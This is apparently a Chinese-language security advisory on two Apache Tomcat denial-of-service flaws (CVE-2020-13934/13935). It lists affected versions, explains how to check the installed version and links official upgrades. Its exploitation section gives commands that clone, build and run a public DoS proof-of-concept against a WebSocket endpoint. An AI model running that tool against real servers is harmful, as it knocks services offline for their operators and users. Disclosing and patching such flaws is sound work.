1.漏洞描述
7月16日, Apache基金会发布公告称,Tomcat中间件存在两个拒绝服务漏洞(CVE-2020-13934/13935)。据了解,上述漏洞是Tomcat中间件存在设计缺陷所导致:一是当请求数过多时会发生内存不足异常(OutOfMemoryException),从而导致拒绝服务;二是WebSocket中对载荷长度的验证存在缺陷,无效的载荷长度可能会触发无限循环,从而导致拒绝服务。目前Apache Tomcat官方已发布新版本修复该漏洞。
漏洞等级:严重
2.影响版本
Apache Tomcat 10.0.0-M1-10.0.0-M6
Apache Tomcat 9.0.0.M1-9.0.36
Apache Tomcat 8.5.0-8.5.56
Apache Tomcat 7.0.27-7.0.104
3.漏洞排查
进入tomcat安装目录的bin目录,输入命令version.bat(Linux系统下输入./version.sh)后,可查看当前的软件版本号。
4.漏洞利用
POC下载地址:https://github.com/RedTeamPentesting/CVE-2020-13935
$ git clone https://github.com/RedTeamPentesting/CVE-2020-13935
$ cd CVE-2020-13935
$ go build
$ ./tcdos [WebSocket endpoint]
编译命令:
go env -w GOPROXY=https://goproxy.cn
攻击服务器:
服务器cpu利用率瞬间达到100%:
5.漏洞修复
下载官方升级包进行升级:
Apache Tomcat 10.0.0-M7: https://tomcat.apache.org/download-10.cgi
Apache Tomcat 9.0.37: https://tomcat.apache.org/download-90.cgi
Apache Tomcat 8.5.57: https://tomcat.apache.org/download-80.cgi
Apache Tomcat 7.0.105: https://tomcat.apache.org/download-70.cgi